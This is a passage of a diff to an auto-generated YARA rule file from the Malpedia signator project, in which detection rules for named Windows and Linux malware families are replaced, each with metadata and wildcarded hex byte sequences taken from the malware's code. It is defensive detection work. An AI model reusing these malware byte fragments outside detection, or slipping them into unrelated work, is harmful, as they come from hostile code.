"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deepdata_auto.yar#L1-L338" license_url = "N/A" - logic_hash = "f45425f55dbbdbdba945f538455e47f9972b3b43f177d31d74ee7524c51ab351" + logic_hash = "a34d5234f4db9f94f6aa56b11d8ba8d09bbd4a4349792470c342c748e8726f18" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -142741,32 +142561,58 @@ rule MALPEDIA_Win_Cuegoe_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8985500c0000 8b432c 8b4b24 57 } - $sequence_1 = { 57 8db55c030000 e8???????? 53 57 8db59c030000 e8???????? } - $sequence_2 = { 8bff 8b4500 83780400 0f84961a0000 8b30 0fb636 8b551c } - $sequence_3 = { 894740 8b454c 894744 8b4550 894748 8b4554 89474c } - $sequence_4 = { 0f8554020000 57 83ec18 8bc4 89654c 53 50 } - $sequence_5 = { 8b149580cf0310 c1e006 8d440224 802080 884dfd 8065fd48 884dff } - $sequence_6 = { 894310 5e 5f c20400 6a04 } - $sequence_7 = { b8???????? e8???????? 8b7508 8365f000 c706???????? c746581c520310 } - $sequence_8 = { ff5004 0fb7c0 6a01 50 ff7528 8d758c ff7524 } - $sequence_9 = { 897dc4 50 c745fc02000000 e8???????? 33c0 c745c401000000 c745ec07000000 } + $sequence_0 = { 751d 68???????? ff15???????? 50 } + $sequence_1 = { 83d000 50 51 8bce e8???????? } + $sequence_2 = { b001 5d c3 8ac1 } + $sequence_3 = { 8bd0 8bce e8???????? 83c408 5f } + $sequence_4 = { 837d0800 7502 eb10 8b4508 a3???????? } + $sequence_5 = { 55 8bec 8b4508 32c9 85c0 } + $sequence_6 = { 740a 50 ff15???????? 83c404 8b8c245c010000 } + $sequence_7 = { 8bec 56 57 8bf9 8d7704 8bce c707???????? } + $sequence_8 = { e8???????? 81e3fbff0000 f20f1106 83cb08 } + $sequence_9 = { ff36 e8???????? 83c408 c707???????? f6450801 } + $sequence_10 = { 8bec 56 8bf1 c706???????? 8b4e18 83f910 7228 } + $sequence_11 = { 83c104 3bd3 7cf2 eb06 32c0 88442425 } + $sequence_12 = { e8???????? 83c40c c785c4fbffff2c020000 6a00 } + $sequence_13 = { 7760 8bc2 51 50 e8???????? 83c408 c7463000000000 } + $sequence_14 = { 64a300000000 8bf1 8b7d08 897dd0 c745d800000000 c745e800000000 c745ec0f000000 } + $sequence_15 = { c78560ffffff00000000 c78564ffffff00000000 c78568ffffff00000000 c7856cffffff00000000 c78550ffffff00000000 c7458800000000 } + $sequence_16 = { 837df401 7543 68???????? ff15???????? } + $sequence_17 = { 8b4dfc e8???????? 8b4dfc e8???????? 8b10 52 8b4dfc } + $sequence_18 = { 83c40c 83c118 6a08 50 } + $sequence_19 = { e8???????? 8b00 50 8b4dfc e8???????? 8bc8 } + $sequence_20 = { e8???????? 8b00 50 e8???????? 83c404 2bf0 } + $sequence_21 = { a1???????? 8b4858 ffd1 83c40c } + $sequence_22 = { 83c428 c645fc00 8d4d08 e8???????? c745fcffffffff 8d4d14 e8???????? } + $sequence_23 = { e8???????? 83c404 394508 7321 8b4dfc } + $sequence_24 = { 83c40c b001 5f 5b } + $sequence_25 = { 8bec 83ec08 894dfc 8b4dfc e8???????? 8b00 50 } + $sequence_26 = { 837df800 7549 837df401 7543 } + $sequence_27 = { 6a00 6a00 ff7514 ff75c8 ff75c0 ff75c4 } + $sequence_28 = { 8b4dfc e8???????? 8b16 3b10 750a 6a01 } + $sequence_29 = { 8945e4 8b4dec e8???????? 833800 } + $sequence_30 = { 50 8b4d10 8b11 ffd2 83c404 } + $sequence_31 = { 8b4dfc 8b5108 0fb602 50 8b4dfc e8???????? } + $sequence_32 = { 85d2 7526 8d4d90 e8???????? 0fb6c0 85c0 } + $sequence_33 = { 83c118 e8???????? 8945f8 837df804 7408 837df808 740c } + $sequence_34 = { 83c00c 6a00 50 e8???????? 84c0 } + $sequence_35 = { 8b4dfc 8b5008 3b5104 7505 83c8ff eb1e 8b45fc } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 33134592 } -rule MALPEDIA_Win_Dexter_Auto : FILE +rule MALPEDIA_Win_Zardoor_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b1377870-3c18-50e1-8895-9f4c52e3708d" + id = "50308ee9-1428-5d6c-b40d-321fe9c765a2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dexter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dexter_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zardoor" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zardoor_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "a43855bc8fa5d1635b94e65a3069c65413410fe093cfd7f70d80f09412658791" + logic_hash = "491b0a08b4b203499d0503a262d51ee8a6400f1ce6bac152bdcd0f18d092424e" score = 75 quality = 75 tags = "FILE" @@ -142780,32 +142626,32 @@ rule MALPEDIA_Win_Dexter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a59 ff15???????? 85c0 7414 68???????? 8b4d08 } - $sequence_1 = { 50 6a00 ff15???????? 68???????? 68???????? } - $sequence_2 = { 8b0d???????? 51 ff15???????? 8b15???????? 8955fc 8b45fc 50 } - $sequence_3 = { 8b45fc 50 ff15???????? 8b0d???????? 51 ff15???????? ebc6 } - $sequence_4 = { 83c40c 68???????? ff15???????? 6a00 6a00 6a00 6a00 } - $sequence_5 = { e9???????? 6a59 ff15???????? 85c0 7514 68???????? 8b4d08 } - $sequence_6 = { e8???????? 83c410 8b4508 50 8b4d10 } - $sequence_7 = { ff15???????? 6a4a 6a00 68???????? e8???????? 83c40c 6a4a } - $sequence_8 = { 7514 68???????? 8b5508 52 ff15???????? e9???????? } - $sequence_9 = { 51 6a08 8b15???????? 52 ff15???????? 8945f8 } + $sequence_0 = { 740d c7442428ac070000 e9???????? f687d005000080 8b442468 410f44c1 81fa03030000 } + $sequence_1 = { f6c210 752c eb0a f6c220 7405 4584c0 7920 } + $sequence_2 = { e8???????? 4889442448 4885c0 0f85c9000000 c74424201d010000 4c8d0d264f0b00 8d5566 } + $sequence_3 = { ffc3 895c2430 e8???????? 3bd8 0f8c2cfeffff b801000000 488b9c2488000000 } + $sequence_4 = { 488d1572b10900 488bcd e8???????? 85c0 0f8e29020000 488b13 4885d2 } + $sequence_5 = { e8???????? 4883c9ff 660f1f440000 48ffc1 803c0800 75f7 83c10d } + $sequence_6 = { e8???????? 488906 4885c0 0f85ab000000 83c8ff 488b742458 488b5c2460 } + $sequence_7 = { e8???????? 4885c0 8bde 0f95c3 e8???????? 85db 488b9c2440010000 } + $sequence_8 = { 8bc3 448bcb 488bf9 448bc3 488bcb 4883f838 7317 } + $sequence_9 = { e8???????? 85c0 0f84d1000000 4d8b8d90000000 488bd3 4c8b442440 488bcb } condition: - 7 of them and filesize < 98304 + 7 of them and filesize < 4376576 } -rule MALPEDIA_Win_Nitol_Auto : FILE +rule MALPEDIA_Win_Crypto_Fortress_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6668ada1-f01c-572c-b281-f0ac4f640b75" + id = "57f6010b-f9b8-526f-94e4-905e1c039cff" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nitol" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nitol_auto.yar#L1-L122" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crypto_fortress_auto.yar#L1-L116" license_url = "N/A" - logic_hash = "67d30b435253ce01a4470efa2d653d5ffbe45043e37cc62d200042e270ffc2b7" + logic_hash = "260674d34cb12cfd5de2f1a83904a3f49c27965fc58fd434a5b27b625cba2777" score = 75 quality = 75 tags = "FILE" @@ -142819,19 +142665,19 @@ rule MALPEDIA_Win_Nitol_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d8554ffffff 50 e8???????? 83c420 bffa000000 } - $sequence_1 = { 8945e4 51 ff75ec 50 ff7508 ff15???????? } - $sequence_2 = { 57 ffd3 45 3bae08010000 7cd6 57 } - $sequence_3 = { 896c2434 8d442434 6a04 bd05100000 50 55 } - $sequence_4 = { 55 8bec 81ec20020000 c645e0cf c645e185 c645e2cc c645e3c4 } - $sequence_5 = { 5b 55 8bec 81ec18050000 56 } - $sequence_6 = { 50 e8???????? 83c424 8d8560ffffff 66c745f00200 50 ff15???????? } - $sequence_7 = { ff15???????? 85c0 7d16 ff742404 } - $sequence_8 = { ffd6 ffb530ffffff 668945d8 ffd6 6800e9a435 } - $sequence_9 = { 8a0c3b 880e 46 43 ebf3 43 40 } + $sequence_0 = { 045a aa 2cff aa 2cf9 } + $sequence_1 = { 0433 aa 04fc aa 3411 } + $sequence_2 = { aa 345e aa 04af aa 2cfb aa } + $sequence_3 = { aa 040f aa 2c0f } + $sequence_4 = { aa 341b aa 2c01 } + $sequence_5 = { 894304 83c308 8345fc08 c78548ffffff9c000000 } + $sequence_6 = { 2c00 aa 0411 aa 2c51 aa 3421 } + $sequence_7 = { 2cee aa 2c01 aa 04f1 } + $sequence_8 = { 85c0 0f84d0000000 68???????? 8d85eafeffff 50 } + $sequence_9 = { 8bec 83c4f8 53 ff35???????? e8???????? 6bc004 } condition: - 7 of them and filesize < 139264 + 7 of them and filesize < 188416 } rule MALPEDIA_Win_Gazer_Auto : FILE { @@ -142872,18 +142718,18 @@ rule MALPEDIA_Win_Gazer_Auto : FILE condition: 7 of them and filesize < 950272 } -rule MALPEDIA_Win_Murkytop_Auto : FILE +rule MALPEDIA_Win_Kamasers_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "09dd87b2-848c-59f6-89b2-09fd740bcdeb" + id = "c1a7cc0c-2e35-5239-9e79-174b829766cd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.murkytop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.murkytop_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kamasers" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kamasers_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "d0c9a9dcefc5b4fab8d861110dfc72a07f2978208e468d91616835a5f37c61c4" + logic_hash = "bc9204b6b1cca7a86ddf29783e99c6413f2a7179ee494a096a7a149c0e384519" score = 75 quality = 75 tags = "FILE" @@ -142897,32 +142743,32 @@ rule MALPEDIA_Win_Murkytop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bc6 c1f805 57 83e61f 8d3c85e0f54100 8b07 } - $sequence_1 = { 0f8827040000 8b5d08 8d7dec e8???????? 85c0 0f8814040000 6803010000 } - $sequence_2 = { 50 68???????? e8???????? 8b45fc 8b4868 51 } - $sequence_3 = { 8b4de8 51 68???????? e8???????? 8b55f0 } - $sequence_4 = { 3bc6 7377 8bce e8???????? c745fc00000000 } - $sequence_5 = { 50 68???????? e8???????? 8b45fc 8b4824 51 e8???????? } - $sequence_6 = { 7551 8b4d08 85c9 745e 8b7918 b889888888 f7ef } - $sequence_7 = { 3bc7 7629 8bcf 8bd1 d1ea beffffff3f 2bf2 } - $sequence_8 = { b902000000 66894dc4 53 ff15???????? 668945c6 } - $sequence_9 = { 3c69 7404 3c49 757f c645fa01 e9???????? c645fe01 } + $sequence_0 = { 83c414 ebe1 8b55ec 8b4de8 8b04957885f904 807c082800 7d55 } + $sequence_1 = { 7602 8b06 8a4c3a04 80f13f 884c1004 83c205 83fa19 } + $sequence_2 = { 7776 51 52 e8???????? 83c408 c745e400000000 c745e80f000000 } + $sequence_3 = { 33c0 0f57c0 c78558feffff02000000 0f118548feffff 66898548feffff ba0f000000 88854afeffff } + $sequence_4 = { ffb5b4dbffff 8d85f0efffff f7d1 50 ffb5f8dbffff 66898dfaefffff ff95b0dbffff } + $sequence_5 = { 8b85e8fdffff 83f80f 7634 8b95d4fdffff 8d4801 8bc2 81f900100000 } + $sequence_6 = { 0f85be000000 8d4dd4 e8???????? 50 8d4d98 e8???????? 8b4de8 } + $sequence_7 = { 6a01 68???????? 8d8d40edffff c645fc13 e8???????? c785fcd8ffff00000000 } + $sequence_8 = { 0f875c070000 51 52 e8???????? 83c408 837de80f } + $sequence_9 = { 8bc8 2bcf b8abaaaa2a f7e9 8b4b04 c1fa02 2bcf } condition: - 7 of them and filesize < 294912 + 7 of them and filesize < 906240 } -rule MALPEDIA_Win_Powerpool_Auto : FILE +rule MALPEDIA_Win_Virtualgate_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d4f7d376-91ac-5fba-b394-2196d4883657" + id = "9ec48095-319c-5914-b4c7-b90192caa4ab" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerpool" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.powerpool_auto.yar#L1-L156" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.virtualgate" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.virtualgate_auto.yar#L1-L120" license_url = "N/A" - logic_hash = "dfb0ae2ebf3333eb0ea72de9c6611cca01721c6596963f45a9f1a6121b1e8024" + logic_hash = "bdfea9aeb2fcf2d699fffd47ea03945e66306ca4f124485dd66c43c3284358f7" score = 75 quality = 75 tags = "FILE" @@ -142936,38 +142782,32 @@ rule MALPEDIA_Win_Powerpool_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 7412 8b04b0 50 e8???????? } - $sequence_1 = { 7412 837de810 8b45d4 895de4 } - $sequence_2 = { 895e64 33db 894e68 53 53 56 } - $sequence_3 = { 7412 8b4904 80e103 80f901 } - $sequence_4 = { 006711 40 0000 0303 } - $sequence_5 = { 7412 6a00 e8???????? 84c0 7407 b802000000 5f } - $sequence_6 = { 7412 83e903 0f8515010000 c745dcfcae4400 } - $sequence_7 = { 895e64 ff15???????? 8b4c2418 51 } - $sequence_8 = { 7412 8b45d0 2403 3c01 } - $sequence_9 = { 895e64 e9???????? 53 57 } - $sequence_10 = { 8b6c2468 55 6a02 33db 33ff ff15???????? 8bf0 } - $sequence_11 = { 7443 8b45d4 83ff10 7303 } - $sequence_12 = { 005311 40 005d11 40 006711 } - $sequence_13 = { 8965f0 85c9 7504 33ff eb16 } - $sequence_14 = { 895e64 ff15???????? 8b442414 50 } - $sequence_15 = { 7412 8b45a4 83c01f 3945b0 } + $sequence_0 = { 418bc4 0f47c1 89442438 ffc8 8bf8 0fb68c82029a0100 } + $sequence_1 = { 66250100 7225 0100 7e25 0100 8a25???????? } + $sequence_2 = { 48894604 b906000000 48898620020000 0fb7c0 66f3ab 488d3d18470100 482bfe } + $sequence_3 = { 85c0 0f8483000000 488d8510030000 49c7c0ffffffff 49ffc0 42383400 } + $sequence_4 = { 488d15263d0100 e8???????? 8bcb 4885c0 740c } + $sequence_5 = { 488d0d30ecfeff 4c8945e7 4d03e8 48895df7 4c8be3 4c896db7 } + $sequence_6 = { 85c0 0f8403010000 488d0566080100 4a8b04e8 42385cf838 0f8ded000000 } + $sequence_7 = { 48895c2408 57 4883ec20 488d1d8fc60100 488d3d88c60100 } + $sequence_8 = { f30f6f0f 4883f80e 7773 8b848634270100 4803c6 } + $sequence_9 = { 4b8b8ce0f0250200 4803ca 48ffc2 468854f13e } condition: - 7 of them and filesize < 819200 + 7 of them and filesize < 323584 } -rule MALPEDIA_Win_Gcleaner_Auto : FILE +rule MALPEDIA_Win_Cutwail_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "db79045a-62be-5422-a484-4f1494402bb2" + id = "cbc2bf28-da14-5ea8-8af9-9a0a97c6e135" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.gcleaner_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cutwail_auto.yar#L1-L159" license_url = "N/A" - logic_hash = "87e8c0680ea583ebecdec70190c315f1a40f9206262d6c132334f2c61dd046c1" + logic_hash = "9ba6db86559b6188867d3264363e179bc81f3f3f5481bc0c2638242b1cc71cd8" score = 75 quality = 75 tags = "FILE" @@ -142981,32 +142821,38 @@ rule MALPEDIA_Win_Gcleaner_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 6a04 8d85f0feffff 50 56 ff15???????? 85c0 } - $sequence_1 = { 5e c9 c3 53 ff7518 } - $sequence_2 = { 8035????????2e 8035????????2e 8035????????2e 8035????????2e 8035????????2e } - $sequence_3 = { 8bf8 83c40c 83ffff 743b 3bf7 } - $sequence_4 = { 57 8bd0 c645fc03 8d4dc0 } - $sequence_5 = { 7505 c60600 ebe9 837d1000 7518 } - $sequence_6 = { 8bd0 c645fc02 8d4da8 e8???????? 57 8bd0 } - $sequence_7 = { 8bd0 c645fc04 8d4dd8 e8???????? 83c410 8d4dc0 } - $sequence_8 = { 50 660fd685f8feffff e8???????? 83c40c 56 } - $sequence_9 = { ebe9 837d1000 7518 c60600 e8???????? } + $sequence_0 = { 0f849d000000 ff7510 e8???????? 59 } + $sequence_1 = { eb14 8b55fc 0355f8 8955fc } + $sequence_2 = { 59 7506 891d???????? 53 57 } + $sequence_3 = { 833800 7511 837df800 7e0b } + $sequence_4 = { 6a66 8d8d90f1ffff e8???????? 03c3 } + $sequence_5 = { 57 ff755c 03c8 51 e8???????? } + $sequence_6 = { 895104 8b8550feffff c7400800c02004 6a00 6a00 } + $sequence_7 = { e8???????? 894604 8b4610 57 } + $sequence_8 = { 8bec 81ecc4010000 8d8570feffff 50 6802020000 e8???????? 85c0 } + $sequence_9 = { 51 e8???????? 83c410 8985ecfdffff } + $sequence_10 = { 1bc0 f7d0 234554 e9???????? } + $sequence_11 = { 6bc912 56 ff742428 8981feb71513 } + $sequence_12 = { 8b95e4fdffff 52 8d85f8fdffff 50 e8???????? 83c408 } + $sequence_13 = { 53 53 6a02 e8???????? 894558 } + $sequence_14 = { c7854cfeffff00000000 eb0f 8b954cfeffff 83c201 89954cfeffff 83bd4cfeffff03 0f8db5000000 } + $sequence_15 = { 0f8d23010000 6800020000 6a00 8d95f8fdffff 52 } condition: - 7 of them and filesize < 540672 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Doublefinger_Auto : FILE +rule MALPEDIA_Win_Lightrail_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1a4bb31a-3c01-5b6e-ae26-bb31027c979c" + id = "58541781-79c6-574d-b195-c74fbba8085e" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefinger" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doublefinger_auto.yar#L1-L113" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightrail" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightrail_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "34310946832cc40b49a31828e604fb9d9a1c8fad12732184c4ffa2b4443b2159" + logic_hash = "5d9e17bc35bca0e64cb85c52ac794612dc1d7650f37d7c51842cacd140fd6d54" score = 75 quality = 75 tags = "FILE" @@ -143020,32 +142866,32 @@ rule MALPEDIA_Win_Doublefinger_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c644247d64 c644247e79 c644247f97 488d942410030000 488d4c2478 e8???????? } - $sequence_1 = { 8b442448 39442444 7d27 41b87a000000 ba61000000 488b8c2468010000 e8???????? } - $sequence_2 = { 4533c0 8b942464010000 488b4c2450 e8???????? } - $sequence_3 = { c6440478af ba0a020000 b940000000 488b842468010000 ff5038 } - $sequence_4 = { e8???????? ba0a020000 488d8c2460010000 e8???????? } - $sequence_5 = { 39442408 0f8394000000 c6042400 c744240400000000 eb0a 8b442404 } - $sequence_6 = { 488bc1 eb7a 837c242000 7471 } - $sequence_7 = { ba0a020000 b940000000 488b442470 ff5038 } - $sequence_8 = { 3565708005 8984246c010000 8b84246c010000 8b4c2460 33c8 } - $sequence_9 = { 66898424fc000000 33c0 66898424fe000000 ba64000000 } + $sequence_0 = { b931ad0231 e8???????? 48894330 4885c0 0f8486000000 } + $sequence_1 = { 48d3c8 4533c0 33d2 33c9 ff15???????? 488d0d505b0100 eb0c } + $sequence_2 = { 488d152c7d0000 b914000000 e8???????? 4885c0 7452 } + $sequence_3 = { 0f84eb000000 4885c0 0f85e4000000 4d3bc1 0f84d1000000 8b7500 498b9cf700a10100 } + $sequence_4 = { 8b0c8e 4903ca 483bcf 721a 438b84168c000000 } + $sequence_5 = { 746d 4533c9 8d5772 4533c0 488bc8 ff93c8020000 } + $sequence_6 = { 442bc9 4183f90f 7779 428b8c8ef89a0000 4803ce ffe1 } + $sequence_7 = { f2410f1004c1 488d15d6860000 f20f1014c2 f20f1025???????? } + $sequence_8 = { ff9778020000 4c63f0 4983feff 0f84ef000000 } + $sequence_9 = { 8b542430 48891401 488d0d4ab90000 e8???????? } condition: - 7 of them and filesize < 115712 + 7 of them and filesize < 249856 } -rule MALPEDIA_Elf_Bashlite_Auto : FILE +rule MALPEDIA_Win_Neddnloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "bbeb65b7-8b2b-54dc-9314-a8bcbc56853e" + id = "852b40fe-2e5d-50aa-b642-537ac76dade8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/elf.bashlite_auto.yar#L1-L94" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.neddnloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.neddnloader_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "98d7f6d0b73040daa4a477a42fca0025382c8a865bb2020813f6076b3c9fb152" + logic_hash = "f033318b8bebdad1df405535c03ee01ef3d70d6b1b4f8bc82d01aaedd0dfc4d8" score = 75 quality = 75 tags = "FILE" @@ -143059,30 +142905,38 @@ rule MALPEDIA_Elf_Bashlite_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 750c c785ecefffff01000000 eb0a c785ecefffff00000000 } - $sequence_1 = { f7d0 21d0 3345fc c9 c3 } - $sequence_2 = { e8???????? 8945ec 837dec00 750b } - $sequence_3 = { 89c2 89d0 c1e81f 01d0 } - $sequence_4 = { 83f8ff 750c e8???????? 8b00 83f873 } - $sequence_5 = { 760f e8???????? c7001c000000 31c0 } - $sequence_6 = { eb0a c785ecefffff00000000 8b85ecefffff c9 } - $sequence_7 = { eb19 e8???????? c70016000000 e8???????? c70016000000 } + $sequence_0 = { 57 ff15???????? 8b4df8 56 3bc8 } + $sequence_1 = { 8d43ff 3bc8 7311 0fb702 0fb731 663bc6 } + $sequence_2 = { 8b03 8b5508 69c0b179379e c1e813 33c9 } + $sequence_3 = { 0fb731 663bc6 7506 83c102 83c202 } + $sequence_4 = { 83c204 3bcf 72f0 8d43ff 3bc8 7311 } + $sequence_5 = { eb02 0008 8b45f8 83c0f4 } + $sequence_6 = { 57 e8???????? 2b5d10 83c40c } + $sequence_7 = { 8d84241c040000 50 68???????? b900230400 } + $sequence_8 = { 4133bc8e803c0100 4133bc8680480100 418bc0 41337d20 c1e808 0fb6d0 418bc1 } + $sequence_9 = { 488d0587930000 483bc8 7405 e8???????? bf0d000000 } + $sequence_10 = { 4533948480590100 458b848c804d0100 410fb6c1 4533848480510100 45335538 410fb6c3 4533848480550100 } + $sequence_11 = { 440fb68c29804c0100 c1e810 0fb6c8 41c1e108 0fb68429804c0100 4433c8 } + $sequence_12 = { 410fb6c2 41339c8480440100 45337508 410fb6c3 41339c8480400100 } + $sequence_13 = { 4433c0 400fb6c7 420fb68420803b0100 41c1e008 } + $sequence_14 = { 4883ec28 4c8bc1 4c8d0df20effff 498bc9 e8???????? } + $sequence_15 = { 0f94c0 8944244c 488d05caef0000 4a8b14e0 41837c175000 } condition: - 7 of them and filesize < 2310144 + 7 of them and filesize < 3438592 } -rule MALPEDIA_Win_Remy_Auto : FILE +rule MALPEDIA_Win_Brbbot_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e336b399-c824-5cff-9d79-2b28637c647b" + id = "6f8ffa7c-cd8c-50e9-99ce-be919b2bf777" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remy" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remy_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.brbbot_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "78b349d77eab72ccd2cb565c0bcdfc5bac491569a0a70fac7617d2ce3551a21d" + logic_hash = "81c84b2ac34bd64175981dcc2195841d305509a8b4adcc1041ffc068cd7e1797" score = 75 quality = 75 tags = "FILE" @@ -143096,32 +142950,32 @@ rule MALPEDIA_Win_Remy_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 668945e1 8845e3 8b4508 885ddc 50 b808000000 8d5ddc } - $sequence_1 = { 899c24a0000000 89bc24c0000000 899c24c4000000 899c24c8000000 8b442410 8d542418 52 } - $sequence_2 = { 83c404 8db558ffffff e8???????? c645fc01 8b08 8bb564ffffff 8d41f0 } - $sequence_3 = { 746e 50 e8???????? 8bf0 eb66 8d4de0 } - $sequence_4 = { 8b4d20 b802000000 c745fc00000000 51 6689459c ff15???????? } - $sequence_5 = { 8d8d4cffffff 8d9548feffff 898500feffff 898d04feffff 899508feffff 8d853cffffff 8d8d94feffff } - $sequence_6 = { c70001000000 8b4620 50 895dac 895da8 ff15???????? 83f8ff } - $sequence_7 = { c684243003000002 c7842480010000fe454c35 66c7842484010000fe4c c684248601000000 8d842480010000 800027 40 } - $sequence_8 = { 52 6806100000 68ffff0000 56 ff15???????? 6a04 8d45d0 } - $sequence_9 = { 8bce e8???????? 837e1410 7202 8b36 8d472c } + $sequence_0 = { 488d0d14310000 4533c9 ba00000040 4489442420 ff15???????? 488905???????? } + $sequence_1 = { 4c8d41ff 488b4d00 e8???????? 443926 7433 488b4d00 488d15e1ca0000 } + $sequence_2 = { 8b4d48 41b801000000 4883caff e8???????? 807d580a 4c8d05af3dffff 740f } + $sequence_3 = { 488906 8b05???????? 894608 0fb705???????? 6689460c 488bc6 660f1f440000 } + $sequence_4 = { 48ffcf 75f5 488bce e8???????? 488bf8 } + $sequence_5 = { 81cb00000780 8bc3 4883c448 5f 5b c3 4c8d0562ec0000 } + $sequence_6 = { 57 4881ece0010000 488b05???????? 4833c4 48898424d0010000 33ff 33c9 } + $sequence_7 = { 7516 488d051cb80000 488b4c2430 483bc8 7405 e8???????? } + $sequence_8 = { 750d 488bce e8???????? e9???????? 4c8d2d31bb0000 8bcb 488beb } + $sequence_9 = { 8a45d9 4b8b8cf8c05a0100 88443139 4b8b84f8c05a0100 8854303a eb4c } condition: - 7 of them and filesize < 507904 + 7 of them and filesize < 198656 } -rule MALPEDIA_Win_Jackpos_Auto : FILE +rule MALPEDIA_Win_Dripion_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "705d47f5-8c33-5d05-9f3c-cd8693aecd05" + id = "6e941fbc-0092-5680-a9f8-3d85cce1c3ca" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jackpos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.jackpos_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dripion" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dripion_auto.yar#L1-L111" license_url = "N/A" - logic_hash = 